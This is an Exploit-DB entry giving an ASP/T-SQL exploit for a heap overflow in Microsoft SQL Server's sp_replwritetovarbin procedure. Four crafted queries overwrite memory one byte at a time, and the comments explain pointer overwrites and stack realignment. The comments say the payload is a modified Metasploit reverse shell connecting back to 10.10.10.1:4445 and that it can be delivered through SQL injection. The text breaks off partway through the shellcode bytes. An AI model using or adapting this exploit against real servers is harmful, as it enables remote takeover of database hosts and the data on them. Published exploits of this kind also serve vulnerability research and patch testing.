Exploit-DB #7501
Description: Microsoft SQL Server - 'sp_replwritetovarbin()' Heap Overflow
Type: local
Platform: windows
Date: 2008-12-17
Author: Guido Landi

Exploit:
<html>
<%
// k`sOSe 12/17/2008
// Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow
// Tested on Win2k SP4 with MSSQL 2000(on one box only!).
// Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445),
// the change allows multiple shots :)
// 
// You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff.

// Take a look at the comments in T-SQL



On Error Resume Next

// change this
UserName = "r00t"
Password = "t00r"

// ########################################### FIRST QUERY
SQL = "DECLARE @buf NVARCHAR(4000),				"&_
"@val NVARCHAR(4),						"&_
"@counter INT							"&_
"SET @buf = '							"&_ 
"declare @retcode int,						"&_
"@end_offset int,						"&_
"@vb_buffer varbinary,						"&_
"@vb_bufferlen int						"&_  
"exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
"SET @val = CHAR(0x41)						"&_
"SET @counter = 0						"&_
"WHILE @counter < 3020						"&_
"BEGIN								"&_
"  SET @counter = @counter + 1					"&_
"  IF @counter = 2900						"&_	 
"  BEGIN							"&_
"    SET @val =  CHAR(0x43)					"&_
"  END								"&_
"  ELSE IF @counter = 299					"&_
"  BEGIN							"&_
"    SET @val =  CHAR(0x42)					"&_
"  END								"&_
"  ELSE IF @counter = 300					"&_
"  BEGIN							"&_


"     /* First byte overwritten here. This is a random writable address */	"&_
"     SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
"     CONTINUE							"&_
"  END								"&_
"  SET @buf = @buf + @val					"&_
"END								"&_
"SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
"EXEC master..sp_executesql @buf"							





// ########################################### SECOND QUERY
SQL2 = "DECLARE @buf NVARCHAR(4000),				"&_
"@val NVARCHAR(4),						"&_
"@counter INT							"&_
"SET @buf = '							"&_ 
"declare @retcode int,						"&_
"@end_offset int,						"&_
"@vb_buffer varbinary,						"&_
"@vb_bufferlen int						"&_  
"exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
"SET @val = CHAR(0x41)						"&_
"SET @counter = 0						"&_
"WHILE @counter < 3097						"&_
"BEGIN								"&_
"  SET @counter = @counter + 1					"&_
"  IF @counter = 2900						"&_	 
"  BEGIN							"&_
"    SET @val =  CHAR(0x43)					"&_
"  END								"&_
"  ELSE IF @counter = 299					"&_
"  BEGIN							"&_
"    SET @val =  CHAR(0x42)					"&_
"  END								"&_
"  ELSE IF @counter = 300					"&_
"  BEGIN							"&_


"     /* Second byte overwritten here */			"&_
"     SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
"     CONTINUE							"&_
"  END								"&_
"  SET @buf = @buf + @val					"&_
"END								"&_
"SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
"EXEC master..sp_executesql @buf"							





// ########################################### THIRD QUERY
SQL3 = "DECLARE @buf NVARCHAR(4000),				"&_
"@val NVARCHAR(4),						"&_
"@counter INT							"&_
"SET @buf = '							"&_ 
"declare @retcode int,						"&_
"@end_offset int,						"&_
"@vb_buffer varbinary,						"&_
"@vb_bufferlen int						"&_  
"exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
"SET @val = CHAR(0x41)						"&_
"SET @counter = 0						"&_
"WHILE @counter < 3021						"&_
"BEGIN								"&_
"  SET @counter = @counter + 1					"&_
"  IF @counter = 2900						"&_	 
"  BEGIN							"&_
"    SET @val =  CHAR(0x43)					"&_
"  END								"&_
"  ELSE IF @counter = 299					"&_
"  BEGIN							"&_
"    SET @val =  CHAR(0x42)					"&_
"  END								"&_
"  ELSE IF @counter = 300					"&_
"  BEGIN							"&_


"     /* Third byte overwritten here */				"&_
"     SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
"     CONTINUE							"&_
"  END								"&_
"  SET @buf = @buf + @val					"&_
"END								"&_
"SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
"EXEC master..sp_executesql @buf"							





// ########################################### FOURTH QUERY
SQL4 = "DECLARE @buf NVARCHAR(4000),				"&_
"@val NVARCHAR(4),						"&_
"@counter INT							"&_
"SET @buf = '							"&_ 
"declare @retcode int,						"&_
"@end_offset int,						"&_
"@vb_buffer varbinary,						"&_
"@vb_bufferlen int						"&_  
"exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
"SET @val = CHAR(0x41)						"&_
"SET @counter = 0						"&_
"WHILE @counter < 2708						"&_
"BEGIN								"&_
"  SET @counter = @counter + 1					"&_
"  IF @counter = 2900						"&_	 
"  BEGIN							"&_
"    SET @val =  CHAR(0x43)					"&_
"  END								"&_
"  IF @counter = 108						"&_
"  BEGIN							"&_


"     /* this is the pointer we wrote - 0x38. It points to a CALL ECX */	"&_
"    SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_


"     /* realign code */						"&_
"    SET @buf = @buf + CHAR(0xe1)				"&_


"     /* realign the stack */					"&_
"    SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc)	"&_


"     /* jump ahead */						"&_
"    SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_
"    SET @counter = @counter + 12				"&_
"    CONTINUE							"&_
"  END								"&_
"  ELSE IF @counter = 299					"&_
"  BEGIN							"&_
"    SET @val =  CHAR(0x42)					"&_
"  END								"&_
"  ELSE IF @counter = 300					"&_
"  BEGIN							"&_


"     /* Fourth byte overwritten here */			"&_
"     SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_


"     /* reverse shell on 10.10.10.1:4445 */			"&_
"     SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)+CH